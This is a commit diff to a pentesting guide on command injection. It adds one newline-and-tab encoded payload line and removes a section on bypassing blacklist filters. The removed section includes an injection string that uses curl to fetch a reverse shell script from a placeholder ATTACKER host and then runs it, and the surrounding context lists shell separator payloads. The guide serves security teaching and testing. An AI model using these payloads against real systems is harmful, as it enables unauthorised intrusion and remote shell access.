Skip to content

Commit ff4d1db

Browse files
authored
Update command-injection.md
1 parent 399a99e commit ff4d1db

1 file changed

Lines changed: 1 addition & 31 deletions

File tree

src/pentesting-web/command-injection.md

Lines changed: 1 addition & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
1919
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
2020
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
2121
ls %0A id # %0A Execute both (RECOMMENDED)
22+
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
2223

2324
#Only unix supported
2425
`ls` # ``
@@ -131,37 +132,6 @@ powershell C:**2\n??e*d.*? # notepad
131132
../linux-hardening/bypass-bash-restrictions/
132133
{{#endref}}
133134

134-
##### Newline and tab blacklist bypass (space and metacharacters filtered)
135-
136-
Many “naive blacklist” filters block space and shell metacharacters like `;`, `&`, `|`, `` ` ``, `{`, `}`, `&&`, but forget to block newlines (`%0a`) and tabs (`%09`). If user input is concatenated into a shell command (for example via PHP `proc_open()`/`system()`), you can:
137-
138-
- Inject a newline to start a new command
139-
- Use tabs as whitespace where space is blocked
140-
141-
Example payload for a password-like field reaching a shell (URL-encoded):
142-
143-
```
144-
0xdf%0abash%09-c%09"id"%0a
145-
```
146-
147-
The resulting process executes as two lines:
148-
149-
```
150-
zip -x './backups/*' -r -P 0xdf
151-
bash -c "id"
152-
```
153-
154-
Chaining without `&`: fetch and execute a reverse shell in separate lines:
155-
156-
```
157-
0xdf%0abash%09-c%09"curl%09http://ATTACKER/rev.sh"%0abash%09rev.sh%0a
158-
```
159-
160-
Notes
161-
- Newlines are command separators for POSIX shells; tabs are valid whitespace.
162-
- This works even if spaces and `;|&` are filtered, as long as `\n` and `\t` are not.
163-
- See PHP docs for `proc_open()`/`system()` behavior when given a string (it spawns `/bin/sh -c`).
164-
165135
### Node.js `child_process.exec` vs `execFile`
166136

167137
When auditing JavaScript/TypeScript back-ends you will often encounter the Node.js `child_process` API.

0 commit comments

Comments
 (0)